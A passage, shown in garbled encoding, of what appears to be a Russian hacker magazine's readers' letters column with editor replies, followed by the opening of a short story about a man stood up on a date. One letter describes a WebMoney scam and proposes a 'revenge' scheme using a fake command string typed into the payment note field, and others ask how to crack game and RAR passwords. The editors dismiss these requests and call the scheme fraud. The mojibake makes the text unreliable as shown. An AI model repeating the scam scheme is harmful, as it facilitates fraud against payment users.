æåíèÿ :). Êîãäà ÿ ÷èòàþ âàø æóðíàë, ìíå õî÷åòñÿ áîëüøå. Ïðàâäà, ìíå ìàìà
åãî ðåäêî ïîêóïàåò èç-çà òîãî, ÷òî òàì ãîëûå òåòêè íàðèñîâàíû. Íî ÿ â ñòîëî-
âîé ýêîíîìëþ è íà âàø æóðíàë íàêàïëèâàþ :). Ìàìà ìíå çàïðåùàåò âàø
æóðíàë äîëãî ÷èòàòü — áüåò òàïî÷êîì, à èíîãäà ëèíåéêîé. Òàê ÷òî âû åãî ïî-
ìåíüøå äåëàéòå, ÷òîáû ñïðÿòàòü áûñòðî ìîæíî áûëî :).

Íó, ëàäíî, òåïåðü ñåðüåçíî. Õîðîøèé æóðíàë äåëàåòå. Îñîáåííî ïîíðà-
âèëèñü íîìåðà ïðî e-money è ïåðåäîâîå ïðîãðàììèðîâàíèå. Ïðîäîëæàéòå â
òîì æå äóõå. È íå âåðüòå íèêîìó, êòî ãîâîðèò, ÷òî ó âàñ ïëîõîé äèçàéí. ×åð-
íûé òåêñò íà áåëîì ôîíå, ïîäñâåòêà êîäà, ïîÿñíÿþùèå èëëþñòðàöèè — âîò
âñå, ÷òî íóæíî. ×åòêî è ÿñíî, áåç ïàôîñà. Åñòü ïðåäëîæåíèå êîìïëåêòîâàòü
Ñïåö DVD-äèñêîì, êîãäà åñòü, ÷òî òóäà ïîëîæèòü, êîíå÷íî.

À âîò èñòîðèè â êîíöå ìíå íå íðàâÿòñÿ. ×óøü. Ïèñàë ïàöèåíò ïñèõáîëüíè-
öû. Àôôòàð âûïåé ÿäó. Ïðî÷èòàë íà 83 ñòðàíèöå àïðåëüñêîãî Ñïåöà: «… ñïîñîá-
íû íå âñòàâàòü èç-çà êîìïüþòåðà, ïðîâîäèòü ñóòêè çà íèì…» Ïîñûëàþ âàì îá-
ëîæêó êíèãè, êîòîðàÿ äîëæíà ïîìî÷ü ýòèì íåñ÷àñòíûì (íå îáëîæêà, à êíèãà).

Ï.Ñ. (÷òî ñ ãðå÷åñêîãî çíà÷èò: «ñìîòðè íèæå, ÷óâàê») Õîòåë ñåðüåçíî,
íî íå ïîëó÷èëîñü.

Ï.Ï.Ñ. (÷òî ñ ãðå÷åñêîãî çíà÷èò: «ñìîòðè åùå íèæå, ÷óâàê») Ëþáëþ ñëó-
øàòü ãðóïïó ÄÄÒ. Îñîáåííî ðàííèå ïåñíè. Ñëûøàëè ïåñíþ «Ìû èç Óôû»?
Íåò, òîãäà ïîñëóøàéòå.

Ï.Ï.Ï.Ñ. (íó âû ïîíÿëè) À ìàìêà-òî âàøà çíàåò, ÷åì âû òóò çàíèìàåòåñü? :)

ÎÒÂÅÒ: Áóäó îðèãèíàëüíûì è ñêàæó òåáå «ïðèâåò» âìåñòî ïðèâû÷íîãî «ïðåâåä» :)!
Çíàåøü, ïî-ìîåìó, íàøè ÷óâñòâà âçàèìíû. Ìíå òîæå î÷åíü ïîíðàâèëîñü òâîå
ïèñüìî, è (íå ïîâåðèøü) ÿ òîæå ÷èòàë åãî â òóàëåòå, äåðæà êîìï íà êîëåíÿõ.
Ñî ñìåõó äàæå ÷óòü íå óðîíèë åãî ;( — òû áû áûë âèíîâàò.

À ìàìà òâîÿ çðÿ íà æóðíàë áóòûëêè êàòèò: òåòîê ãîëûõ ìû â íåì áîëü-
øå íå ðèñóåì, åñëè òîëüêî ASCII-ãðàôèêîé èíîãäà. Íî åñëè è áåç òåòîê îí ìà-

ìó óñòðàèâàòü íå áóäåò, ìû ñäåëàåì ñïåöèàëüíóþ
ìàñêèðîâî÷íóþ ñóïåðîáëîæêó «à-ëÿ Ìóðçèëêà» - ñ
ìåäâåäîì â øàðôå, âîçäåòûìè ê íåáó ðóêàìè è
âñåìè àòðèáóòàìè, ïðèñóùèìè ýòîìó ñóùåñòâó.
Òàê ÷òî æäè íîâîãî Ñïåöà! Êñòàòè, ýòîò âûïóñê áó-
äåò ñïåöèàëüíî äëÿ òåáÿ áåñïëàòíûì, ÷òîáû ñïà-
ñòè òåáÿ îò ãîëîäíîé ñìåðòè áåç ñòîëîâîé.

Àõ äà! Èñòîðèþ â êîíöå ýòîãî íîìåðà ìû âû-
ïîëíèì â âèäå êîìèêñà «Ïðèêëþ÷åíèÿ Ñàìîäåë-
êèíà» (ó íåãî òàêèå óìåëûå ðó÷êè :)).

Ç.Û. À âîò ìàëü÷èê èç èíòåðíåòà ïðèñëàë
íàì íà ïåðåäà÷ó êðåàòèôô, êîòîðûé ìû îöåíèëè
è ðåøèëè îáÿçàòåëüíî îïóáëèêîâàòü, ÷òîáû íàøè
ìàëåíüêèå ëþáèòåëè C++ âèäåëè, ÷òî èì ãðîçèò! ;)

ÎÒ: Po6oT [Po6oT@yandex.ru]
ÒÅÌÀ: Íå îñòàâüòå áåç îòâåòà!
Ïðèâåò, Õàêåðû! Îòâåòüòå, ïîæàëóéñòà, íà îäèí âîïðîñèê. ß ñåé÷àñ ñîçäàþ
ñàéò â çîíå .com, íà êîòîðîì áóäó ïðåäîñòàâëÿòü óñëóãè èíîñòðàíöàì. Ñ ïîìî-
ùüþ êàêèõ ïëàòåæíûõ ñèñòåì èì áóäåò ìàêñèìàëüíî óäîáíî ïëàòèòü, à ìíå —
áåç ïðîáëåì ïîëó÷àòü äåíüãè? Íèêîãäà ñ ýòèì íå ñòàëêèâàëñÿ, ïîýòîìó ñïðà-
øèâàþ ó ñïåöèàëèñòîâ. ß æèâó â Ðîññèè.

Çàðàíåå ñïàñèáî, Âèòàëèé.

ÎÒÂÅÒ: Çäðàâñòâóé, Ðîáîò! Íåäàâíî áûë íà ñàéòå òâîåãî êîëëåãè, îí ýëåêòðîí-
íóþ âàëþòó ìåíÿåò. Òÿæåëàÿ, íàâåðíîå, ðàáîòà... Ëàäíî, î ÷åì ýòî ÿ? Àõ äà!

Ñèòóàöèÿ ó òåáÿ, Âèòàëèé, ïðÿìî ñêàçàòü, ñëîæíàÿ. Äåëî â òîì, ÷òî, íå-
ñìîòðÿ íà âñþ êîìïüþòåðèçîâàííîñòü çàïàäíûõ ñòðàí, òîâàðèùè èíîñòðàíöû
íå î÷åíü ëþáÿò ýëåêòðîííóþ âàëþòó. Ïî êðàéíåé ìåðå, íå î÷åíü ëþáÿò ïðîâî-
äèòü êàêèå-òî áîëåå-ìåíåå ñåðüåçíûå îïåðàöèè ñ íåé. Åäèíñòâåííîé, ïîæà-
ëóé, ðàñïðîñòðàíåííîé ýëåêòðîííîé âàëþòîé ìîæíî íàçâàòü PayPal – òàê íà-
çûâàåìóþ «ïàëêó». Îäíàêî åñòü è îäèí «ìèíóñ»: âîñïîëüçîâàòüñÿ åé â Ðîññèè
áóäåò êðàéíåé ïðîáëåìàòè÷íî. Äåðçàé, êîðî÷å ãîâîðÿ, íà www.paypal.com.

Âòîðîé âàðèàíò. Âîçìîæíî, ñòîèò âçãëÿíóòü íà ýëåêòðîííóþ ñèñòåìó E-
gold. Èíîñòðàíåö îòíîñèòåëüíî íåñëîæíî ïåðåâåäåò â íåå êðîâíûå ãóëüäåíû.

Òðåòüèì âàðèàíòîì - äëÿ êðóïíûõ ñóìì - ìîæåò ñòàòü wire, òî åñòü òåëå-
ãðàôíûé ïåðåâîä, íî åäâà ëè òû íàéäåøü èíîñòðàíöà â çäðàâîì óìå è ïàìÿ-
òè, êîòîðûé ðåøèëñÿ áû ïåðåâåñòè òàêèì ñïîñîáîì äåíüãè òåáå â Ðîññèþ.

Êàê âèäèøü, ñ ýëåêòðîííûì áèçíåñîì íûí÷å ñëîæíî. Íó à êòî ãîâîðèë,
÷òî áóäåò ëåãêî?.. Óäà÷è, Âèòàëèé.

ÎÒ: ñåðûé kirya [serg_sk8@bk.ru]
ÒÅÌÀ: Õýëï
ÕÀÉ, óâàæàåìûé æóðíàë! Õîòåë áû ïîïðîñèòü âàñ ïîìî÷ü ìíå ïîíÿòü, êàê
ìîæíî ëàìàíóòü ïàðîëè ïåðñîâ â íîâîé îíëàéí èãðå (http://megaga-

me.ru/?rf=537069726974). Çàðàíåå ñåíê.

ÎÒÂÅÒ: Çäðàâñòâóé, Ñåðãåé. ËÀÌÀíóòü – ýòî òû ïðàâèëüíî ñêàçàë, íî, ê ñî-
æàëåíèþ, ñàéò îêàçàëñÿ íåäîñòóïíûì? Ìîæåò, òû ññûëî÷êó íåïðàâèëüíóþ
äàë? Èëè çà ÷óæîé ñ÷åò ðåøèë õèòîâ íàêðóòèòü? ß íå çíàþ.

Îãðîìíàÿ ïðîñüáà ê ãîñïîäàì ÷èòàòåëÿì: íå ñëàòü íàì âèðóñû, òðîÿíû
(îñîáåííî îáùåèçâåñòíûå, îíè îòñåêàþòñÿ åùå äî ïîïàäàíèÿ â íàø ÿùèê),
ññûëêè ñ ïðîñüáîé âçëîìàòü ÷òî-òî — ìû æóðíàëèñòû, à íå ïðåñòóïíèêè. 
È íå ðåêîìåíäóåì âàì ïðåñòóïíèêàìè ñòàíîâèòüñÿ. Óñïåõà â îíëàéí-èãðàõ.

ÎÒ: Ñàøà Áîáðèêîâ!!! [niitro2006@rambler.ru]
ÒÅÌÀ: RAR
Çäðàâñòâóéòå, óâàæàåìàÿ ðåäàêöèÿ æóðíàëà ÑïåöÕàêåð!!!
Îáðàùàþñü ê âàì ñî ñëåäóþùåé ïðîñüáîé-âîïðîñîì: êàê ìîæíî âçëîìàòü
RAR-àðõèâ íà WinRAR v 3.30?
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Ïðîáîâàë èñêàòü â èíòåðíåòå, íî êðîìå RAR Password Cracker v4.12 è
Advanced RAR Password Recovery 1.53 íè÷åãî íå íàøåë. Íî îíè òàê ìåäëåí-
íî ðàáîòàþò, ÷òî ñîâñåì õóäî. Ìîæåò, ÷òî-òî ïîøóñòðåé ñóùåñòâóåò?

P.S. Åñëè íå ñåêðåò, êàêîé Key íà RAR Password Cracker v4.12?

ÎÒÂÅÒ: Çäðàâñòâóé, Áîáðèêîâ!
Õî÷ó òåáÿ ðàññòðîèòü. Òû âñå ïðàâèëüíî äåëàë: ñòàâèøü ïðîãðàììó âîññòà-
íîâëåíèÿ ïàðîëåé è æäåøü. Õîäÿò ñëóõè, ÷òî íà Pentium 133 âîñüìèáóêâåí-
íûé ïàðîëü ìîæíî âçëîìàòü ðàíüøå, ÷åì ñîëíöå ñáðîñèò ñâîè âíåøíèå ãàçî-
âûå îáîëî÷êè, ïîäãîòàâëèâàÿñü ê âçðûâó èëè ðàññåèâàíèþ.

P.S. Ïîøóñòðåå äåëàåòñÿ ïðîùå: àïãðåéäîì :).
P.P.S. Êëþ÷ ê RAR Password Cracker ëåãêî ïîëó÷àåòñÿ ïîäáîðîì ïðè ïî-

ìîùè ïðîãðàììû RAR Password Cracker Cracker.

ÎÒ: Hadley Kim [1moosehea@accesswave.ca]
ÒÅÌÀ: Îñòîðîæíî!
Îñòîðîæíî — ëîõîòðîí! Äîðîãèå äðóçüÿ, êîëëåãè. ß îáðàùàþñü êî âñåì âàì
çà ïîìîùüþ. Ïîìîãèòå îòîìñòèòü!

Ìåíÿ îïðîêèíóëè íà $480 ñëåäóþùèì îáðàçîì: íàéäÿ â ôîðóìå ñòàòüþ
ñëåäóþùåãî ñîäåðæàíèÿ: «…Íåêîòîðûå ôèðìû îòêðûâàÿ â ñèñòåìå Web-
Money òàê íàçûâàåìûå áàëàíñîâûå ñ÷åòà, ïðè ýòîì äîïóñêàþò îøèáêè â
ñâîèõ ïðîãðàììàõ. Åñëè íà òàêîé ñ÷åò ïðèñëàòü äåíüãè ñ îïðåäåëåííîé êî-
ìàíäîé â ðàìêå "ÏÐÈÌÅ×ÀÍÈÅ", òî ýòîò ñ÷åò àâòîìàòè÷åñêè îòïðàâèò îáðàò-
íî ÓÒÐÎÅÍÍÓÞ ñóììó...»

ß íå ïîâåðèë, íî ðàäè ñïîðòèâíîãî èíòåðåñà ïîñëàë ñêîëüêî íå æàëêî
(âñåãî 3 WMZ), è áûë èñêðåííè óäèâëåí, êîãäà ÷åðåç 2 ÷àñà ïîëó÷èë îáðàò-
íûé ïåðåâîä â âèäå 9WMZ, çàêèíóë åùå 15$ è óòðîì îáíàðóæèë ïîïîëíåíèå
â âèäå 45$ íà ñâîåì ñ÷åòó. Îñìåëåâ, ÿ êèíóë èì âñå — è (ïðàâèëüíî) òèøè-
íà. 480-36=444$ — íåõèëàÿ ïðèáûëü? Ïîíÿòíî, êàê îíè ðàáîòàþò!

Ñíà÷àëà íèêòî ìíîãî íå ïîøëåò. Âîò îíè è îòäàþò äåíüãè, ÷òîá ëþäè
îñìåëåëè. À ïîòîì, êîãäà ÷åëîâå÷åñêàÿ æàäíîñòü áåðåò âåðõ íàä îñòîðîæíî-
ñòüþ, îíè è îòáèâàþò ñâîè áàáêè è ïðè ýòîì ñðûâàþò íåïëîõîé êóø, à ýòî
î÷åíü îáèäíî, ïîâåðüòå.

Ñîáñòâåííî, ïëàí ìåñòè:
Åñëè àêêóðàòíî ñëàòü èì íåáîëüøèå ñóììû ñ ðàçíûõ êîøåëüêîâ, òî

ìîæíî èõ îáàíêðîòèòü.
Âîò ýòîò êîøåëåê: Z123456789012 ÎÁßÇÀÒÅËÜÍÎ. Â ðàìêå «ÏÐÈÌÅ×À-

ÍÈÅ» íàäî îáÿçàòåëüíî íàïèñàòü
«INPUT type=wey checkd value=BALANCE 3 input Z888888888888»
âìåñòî Z888888888888. Åñòåñòâåííî, ïèøåì ñâîé íîìåð êîøåëüêà!!!
Ìîæíî áåçíàêàçàííî ïîñëàòü ÷åòûðå ïåðåâîäà ïî 7 WMZ èëè äâà ïî 15

WMZ íà ýòîò êîøåëåê è çàðàáîòàòü ìàêñèìóì èç âîçìîæíûõ 60 WMZ. Íå ïå-
ðå÷èñëÿéòå ñðàçó ìíîãî. Íàäåþñü íà Âàøó ïîääåðæêó, Íèêîëàé Âàññàòååâ.

ÎÒÂÅÒ: Çäðàâñòâóé, Êîëÿ-Íèêîëàé!
Ïîðàçèòåëüíà ñèëà ÷åëîâå÷åñêîé ãëóïîñòè è äî-
âåð÷èâîñòè. Íàñ î÷åíü îãîð÷àåò, ÷òî òåáÿ òàê íå-
ùàäíî îáèäåëè è ïðàêòè÷åñêè ðàçîðèëè. ß êàê-òî
äàë â äîëã îäíîìó áåçäîìíîìó ñâîþ çàðïëàòó, îí
îáåùàë âåðíóòü âäâîå áîëüøå ÷åðåç íåäåëþ. Óæå
÷åòûðå ãîäà ïðîøëî, à åãî âñå íåò! Êîãäà âåðíåò, ÿ
êóïëþ ñåáå íîâóþ BMW! Âîò æäó ìîìåíòà.

×òî äî îïèñàííûõ òîáîé ñõåì, òî ýòî êëàññè-
ôèöèðóåòñÿ íå èíà÷å êàê ìîøåííè÷åñòâî, åñëè ÿ
íå îøèáàþñü ñ âûñîòû ñâîåãî ìèçåðíîãî þðèäè÷å-
ñêîãî îïûòà. Ïðè÷åì îáå ñõåìû: è òî, ÷òî ÿêîáû
ïðîäåëàëè ñ òîáîé, è òî, ÷òî òû ñîáèðàåøüñÿ ïðî-
äåëàòü ñ îñòàëüíûìè. Ó÷èñü òåðìèíîëîãèè: «ãðàæ-
äàíèí íà÷àëüíèê», «ôåíÿ» è ò.ï.

ÎÒ: binar [d_dimon06@mail.ru]
ÒÅÌÀ: íå óêàçàíà
Çäðàâñòâóéòå, ðåäàêöèÿ. Ïðåäëàãàþ ñäåëàòü æóð-
íàë ÷óòü ïðîùå. 

À èìåííî: âûäåëèòü â êîíöå åìêèõ ñòàòåé ïà-
ðó ñòðî÷åê ñ çàãîëîâêîì âðîäå «Ëèòåðàòóðà». Äëÿ
êîãî ýòî íàäî? Äëÿ òåõ, ó êîãî íåò øàíñîâ ðàçî-
áðàòüñÿ íå ïðî÷èòàâ ïîïîäðîáíåå.

ÎÒÂÅÒ: Àëîõà, äâîè÷íûé. Ìû íå áóäåì óïðîùàòü
æóðíàë, íî îáÿçàòåëüíî äîáàâèì ñïèñîê èñïîëüçî-
âàííîé ëèòåðàòóðû, ëèòåðàòóðû äëÿ ñïðàâîê, ðàçúÿñ-
íåíèå òåðìèíîâ è ïðî÷.! Ñäåëàåì ìèð ñâåòëåå!

ÎÒ: Evgen [devgena@atnet.ru]
ÒÅÌÀ: ïîä ïèñêà
Çäðàâñòâóéòå, æóðíàë Õàêåð!
Ñ êàêîé ïåðèîäè÷íîñòüþ âûõîäèò Õàêåð Ñïåö è áûâàåò ëè îí ñ DVD? Õî÷ó
ïîäïèñàòüñÿ, íî íå çíàþ, êàê ïðàâèëüíî îôîðìèòü ïîäïèñêó. Äî ñâèäàíüÿ.

ÎÒÂÅÒ: Ïðèâåò!
«Õàêåð Ñïåö» — åæåìåñÿ÷íûé æóðíàë. Ïîêà îí íå âûõîäèò ñ DVD, íî, ïî
âñåé âèäèìîñòè, ñêîðî áóäåò, òàê ÷òî òåáå îñòàëîñü æäàòü íåäîëãî. ×òî êàñà-
åòñÿ ïîäïèñêè, ãäå-òî íà îáëîæêå æóðíàëà óêàçàí áåñïëàòíûé òåëåôîí, ïî
êîòîðîìó òåáå ïîäðîáíî ðàññêàæóò î ïîäïèñêå (780-88-29 äëÿ ìîñêâè÷åé è 8-
800-200-3-999 äëÿ æèòåëåé ðåãèîíîâ). Ê ñîæàëåíèþ, íåò âîçìîæíîñòè öèòè-
ðîâàòü âñå óæå ñêàçàííîå. Ìèëîñòè ïðîñèì! Ñ óâàæåíèåì, òâîÿ êîìàíäà.

ÎÒ: kirill cheb [kir_cheb@ua.fm]
ÒÅÌÀ: Íóæåí ñîâåò...
Çäðàâñòâóéòå. ß ñëûøàë, ÷òî êàêèì-òî îáðàçîì ìîæíî ïîëó÷èòü òåêñò (èñõîä-
íèêè) ñêðèïòà íà Perl/PHP, à íå ðåçóëüòàòû åãî ðàáîòû. Ïðîøó Âàøåãî ñîâå-
òà ïî ýòîìó âîïðîñó. Áëàãîäàðþ. Ñ óâ. Âàø ÷èòàòåëü.

ÎÒÂÅÒ: Òàê. Äàâàé ñ ñàìîãî íà÷àëà.
Ðåçóëüòàò ðàáîòû ñêðèïòà ïîëó÷àåòñÿ òàê. Â êàêîì-íèáóäü Midnight Comman-
der’å íàâîäèøü íà íåãî êóðñîð è äàâèøü <Enter>, ñêðèïò çàïóñêàåòñÿ. Òåïåðü
â òîì æå Midnight Commander’e ñíîâà íàâîäèì êóðñîð íà ñêðèïò è æìåì... —
áàðàáàííàÿ äðîáü! — íåò, íå <Enter>, à <F3>. È âèäèì èñõîäíèê! Âñå ïðîñòî!

ÎÒ: Vadim Baturov [baturov@rambler.ru]
ÒÅÌÀ: ïðîñüáà
Óâèäåë âàø æóðíàë ¹3/2004, ïîñâÿùåííûé Win XP (â àðõèâå íà PDF).

Ïðè ðàñïå÷àòêå íåêîòîðûõ ñòàòåé «êàðòèíêè» ïðîñòî íå÷èòàåìûå.
À ãëàâíîå, æóðíàë âûõîäèë ñ CD. Òåïåðü âîïðîñ. Âîçìîæíî ëè ïîëó÷èòü

äàííûé æóðíàë â áóìàæíîì âèäå âìåñòå ñ CD? 
Çàðàíåå áëàãîäàðåí, Âàäèì Áàòóðîâ.

ÎÒÂÅÒ: Âàäèì. Ïðåäñòàâëÿåøü, ìû äíÿìè è íî÷àìè òðóäèìñÿ, ïèøåì, èùåì
àâòîðîâ, ïðèäóìûâàåì äèçàéíåðñêèå ðåøåíèÿ, äà ìíîãî ÷åãî. È íàì ïëàòÿò,
÷òîáû ìû êóøàëè õëåáóøåê, ïîêà òðóäèìñÿ. À îòêóäà ýòè äåíåæêè áåðóòñÿ?
Ïðàâèëüíî, æóðíàëü÷èê ïðîäàþò, è ïîëó÷àþòñÿ äåíåæêè. È ìàëåíüêóþ èõ
÷àñòü îòäàþò íàì. À åñëè âñå ñêà÷èâàþò æóðíàëü÷èê â ôîðìàòå PDF, ìû êó-
øàåì ìåíüøå. Îòñþäà âûâîä. Åñëè òåáå äåéñòâèòåëüíî íðàâèòñÿ òî, ÷òî ïè-
øóò â æóðíàëå, åñëè òû íàõîäèøü òàì ïîëåçíóþ èíôîðìàöèþ, ïðîñòî ïîäïè-
øèñü, è ó òåáÿ áóäåò âñå: è êàðòèíêè, è CD… Æäåì òåáÿ â ðÿäàõ íàøèõ ïîä-
ïèñ÷èêîâ 



Êóñàÿ ãóáû, îí ñèäåë íà ñêàìåéêå âîçëå ïàìÿòíèêà Ïóøêèíó è äåðæàë íà êî-
ëåíÿõ ñóìêó ñ íîóòáóêîì, à â ðóêå — áàíêó ëåäÿíîãî ïèâà. Ñàì òîãî íå çàìå-
÷àÿ, îí îòõëåáûâàë èç áàíêè, ïîñòåïåííî çàìåðçàÿ, íî åìó áûëî âñå ðàâíî.

Êàòÿ íå ïðèøëà.
Îí, åñëè ÷åñòíî, îñîáåííî è íå âåðèë â òî, ÷òî ýòà êðàñàâèöà ôîòîìî-

äåëü ïðèäåò íà âñòðå÷ó ñ íèì, íî íàäåæäà óìèðàåò ïîñëåäíåé. È îíà ñëàáå-
ëà âñå áîëüøå ñ êàæäûì ãëîòêîì ïèâà èç áàíêè.

Ñåðãåé ñìîòðåë êóäà-òî ïðÿìî ïåðåä ñîáîé, âðåìåíàìè îáâîäÿ ïëî-
ùàäü ïåðåä êèíîòåàòðîì «Ðîññèÿ» òóìàííûì âçãëÿäîì è íå çàìå÷àÿ ðàñöâå-
òàþùåé ïðèðîäû. Ïàëüöû ñâîáîäíîé ðóêè ðèñîâàëè íà ñóìêå êàêèå-òî çíà÷êè,
îáâîäÿ ïðÿæêè è øâû. Íà ñêàìüå âìåñòå ñ Ñåðãååì çàìåðçàë áóêåò ãâîçäèê...

Ðÿäîì ñ íèì íåæíî è êðàñèâî îáíèìàëàñü ïàðà: äåâóøêà, ïðèëüíóâ ê
ñâîåìó ïàðíþ, ÷òî-òî øåïòàëà åìó íà óõî, âðåìåíàìè öåëóÿ â ùåêó. Ïàðåíü
óëûáàëñÿ è ïîäñòàâëÿë ëèöî âåñåííåìó ñîëíöó, ïðèùóðèâàÿ ãëàçà. Åãî ðóêà
ëåæàëà íà òàëèè ïîäðóãè è ÿâíî ñîáèðàëàñü íûðíóòü ïîä êóðòêó, áëàãî âîêðóã
Ìîñêâà è íèêîìó íåò äåëà äî öåëóþùåéñÿ ïàðî÷êè, îäíîé èç òûñÿ÷è â ýòîì
ñêâåðå. Ìàëûøåâ, õîòÿ íèêîãäà íå îòëè÷àëñÿ çàâèñòëèâîñòüþ, âäðóã îñòðî
îùóòèë ñâîå îäèíî÷åñòâî è æåëàíèå îêàçàòüñÿ íà ìåñòå ýòîãî ïàðíÿ.

Íî îí íå ìîã. Ýòî áûëî íå â åãî ñèëàõ.
Òàê æå, êàê îí íå ìîã çàñòàâèòü Êàòþ âíåçàïíî ïîÿâèòüñÿ ñåé÷àñ çäåñü,

ðÿäîì ñ íèì, ÷òîáû ïðèíÿòü áóêåò ãâîçäèê. Îíà îïîçäàëà óæå íà äâà ñ ïîëî-
âèíîé ÷àñà, è Ìàëûøåâ ïîíèìàë, ÷òî ñëîâî «îïîçäàíèå» òóò âðÿä ëè óìåñòíî.
Åå íå áóäåò íè ñåãîäíÿ, íè çàâòðà.

Â ãîëîâå ñêâîçü ïèâíóþ ïåëåíó ïûòàëèñü ïðîðâàòüñÿ êàêèå-òî áàíàëü-
íûå îáúÿñíåíèÿ òèïà «çàáîëåëà», «ïðîáêè», «ìàìà íå ïóñòèëà» è ïðî÷àÿ
÷óøü, íî îáìàíóòü ñåáÿ îí íå ìîã. Êàòÿ áûëà ïòèöà ñîâåðøåííî äðóãîãî ïî-
ëåòà, è Ñåðãåé, ñîáèðàÿñü ñåãîäíÿ íà ñâèäàíèå, ãäå-òî â ãëóáèíå äóøè áûë
óâåðåí, ÷òî íè÷åãî íå ïîëó÷èòñÿ.

À ìûñëè èìåþò ñâîéñòâî ïðèòÿãèâàòü ê ñåáå ñîáûòèÿ è ïîñòóïêè.
Ïîýòîìó îíà íå ïðèøëà.
Çàïðîêèíóâ ãîëîâó, îí ïîïûòàëñÿ âûäîèòü èç áàíêè åùå ïàðó êàïåëü, íî

ïîíÿë, ÷òî îíà îïóñòåëà îêîí÷àòåëüíî è áåñïîâîðîòíî. Ñìÿë åå ðóêîé ñ ïðî-
òèâíûì ñêðåæåòîì. Ïàðî÷êà ðÿäîì ñ íèì âçäðîãíóëà è îáåðíóëàñü.

Ìàëûøåâ, íå ãëÿäÿ, øâûðíóë â óðíó æåñòÿíîé áëèí, óæå òðåòèé çà ýòè
äâà ñ ïîëîâèíîé ÷àñà. Îí íà÷àë ïèòü òîãäà, êîãäà â ãîëîâå ÷åòêî ïðîðèñîâà-
ëàñü ïåðñïåêòèâà îñòàòüñÿ îäíîìó ñåãîäíÿ. Îäíîé áàíêè îêàçàëîñü ìàëî,
âòîðàÿ ïîòÿíóëà çà ñîáîé òðåòüþ. Îí ïîïûòàëñÿ âñòàòü, ÷òîáû ïîéòè âçÿòü
åùå ïàðî÷êó (È ×ÈÏÑÛ!) íî íîãè íå ñëóøàëèñü. Ñåðãåé õìûêíóë è çàìåòèë,
÷òî ïàðåíü ñ äåâóøêîé íå ñâîäÿò ñ íåãî ãëàç. Îí óëûáíóëñÿ — ïî-ïüÿíîìó,
êðèâîâàòî, ïîòîì âçÿë ñî ñêàìåéêè áóêåò, ïðîòÿíóë åãî íåçíàêîìêå è ñêàçàë:
— Áóäüòå ñ÷àñòëèâû... Èñêðåííå... Èñêðåííå çàâèäóþ...

Ïîòîì òèõîíüêî ïîõëîïàë ïàðíÿ ïî ïëå÷ó è âñå-òàêè ïîäíÿëñÿ. Íîóòáóê
êà÷íóëñÿ è ïîâèñ íà ðåìíå ïåðåä æèâîòîì, êàê ó êîðîáåéíèêà. Ñèë ïåðåìåñòèòü
åãî íà áîê íå áûëî. Ìàëûøåâ ïîñìîòðåë íà ñåáÿ ñî ñòîðîíû, ïîäóìàë, ÷òî
áîã ñ íèì, ïóñòü âèñèò êàê âèñèò, âîò ãäå áû âçÿòü åùå ïèâà — ó êèîñêà ðÿäîì
ñ åãî ñêàìüåé îãðîìíàÿ î÷åðåäü (âåñíà, ñïðîñ íà ïèâî âûðîñ íåèìîâåðíî!).

Êèíîòåàòð îñòàëñÿ çà ñïèíîé. Ñåðãåé ïîñìîòðåë íà Òâåðñêóþ è ïðîíîñÿ-
ùèåñÿ ìèìî àâòîìîáèëè, îòìåòèë âäîëü öåïåé ïî êðàþ ïðîñïåêòà ñòîÿùèõ ïàð-
íåé ñ öâåòàìè — è íà íåãî ñíîâà îáðóøèëàñü ëàâèíà òîñêè, êîòîðóþ îí ñàì âû-
çâàë íåîáäóìàííûì ïðèåìîì ïîëóòîðà ëèòðîâ ïèâà. Îí âäðóã ïîíÿë — è ïîâåðèë
ñàìîìó ñåáå — ÷òî âñå òå ïàðíè ñ ãâîçäèêàìè, ðîçàìè è õðèçàíòåìàìè, â íàãëà-
æåííûõ êîñòþìàõ, ñ íàäóøåííûìè øåÿìè, îáÿçàòåëüíî äîæäóòñÿ ñâîèõ âîçëþá-
ëåííûõ, ñâîèõ ïðèíöåññ, ñâîèõ êîðîëåâ è ôåé, ïîäàðÿò èì ñëåãêà ïîäìåðçøèå
áóêåòû, ïîöåëóþò è ïîéäóò êòî â êèíî, êòî â òåàòð, à êòî ïðîñòî áðîäèòü ïî ìî-
ñêîâñêèì áóëüâàðàì è ïðîñïåêòàì, äåðæàñü çà ðóêè è ãëÿäÿ äðóã äðóãó â ãëàçà.

È îò ýòîãî åìó ñòàëî òàê òîñêëèâî, òàê ïóñòî è îäèíîêî, ÷òî, êàê è âñÿ-
êîìó ðóññêîìó ÷åëîâåêó â òàêèå ìîìåíòû, åìó çàõîòåëîñü âûïèòü åùå è íà-
÷àòü äåëàòü ãàäîñòè.

Îí îãëÿíóëñÿ, ïîñìîòðåë íà äåâóøêó, ÷òî äåðæàëà ñåé÷àñ â ðóêàõ áóêåò
ãâîçäèê, ïðåäíàçíà÷åííûõ äëÿ Êàòè, ïîäìèãíóë åé è íàïðàâèëñÿ ê òîìó ñàìîìó
êèîñêó, ãäå áûëà áîëüøàÿ î÷åðåäü.

Îí íèêóäà íå òîðîïèëñÿ...

* * * * *
Îí çàøåë ñþäà ñëó÷àéíî: ñîâåðøåííî íå ñîáèðàëñÿ îáåäàòü â ðåñòîðàíå, à
íàäåÿëñÿ çàñêî÷èòü íà ïîë÷àñà ê ìàìå. Íî åãî çàöåïèëî íàçâàíèå — êðàñèâîå,
çâó÷íîå. Îñòàíîâèëñÿ ðÿäîì ñî âõîäîì, áëàãî äíåì ïàðêîâêà áûëà íå òàê çàñòà-
âëåíà ìàøèíàìè, êàê ýòî áûâàåò â âå÷åðíåé Ìîñêâå. Âûøåë, åùå ðàç ïðî÷èòàë
íàçâàíèå. Ïîòîì ïîñìîòðåë íà âõîä. Íà ñòåêëÿííîé äâåðè âèñåëî êàêîå-òî îáúÿ-
âëåíèå î âõîäíûõ áèëåòàõ, íî åãî ýòî íå çàöåïèëî è íå çàèíòåðåñîâàëî. Îí ïðî-
âåðèë, çàêðûë ëè ìàøèíó, ïîòîì îäåðíóë ïèäæàê è, òîëêíóâ äâåðü îò ñåáÿ, âîøåë.

Ëåñòíèöà äåëàëà äâà ïîâîðîòà íàëåâî. Íà îäíîì èç íèõ îí ïîñìîòðåë
ïî ñòîðîíàì è óâèäåë áîëüøîé ñòåêëÿííûé òåððàðèóì ñ äðåìëþùèì ïèòî-
íîì. Îñòàíîâèëñÿ, ïðîâåë ïàëüöåì ïî ñòåêëó... Ïî÷óâñòâîâàë íà ñåáå âíèìà-
òåëüíûé âçãëÿä îõðàííèêà, êîòîðûé îñòàâàëñÿ íàâåðõó è âûãëÿäûâàë èç-çà
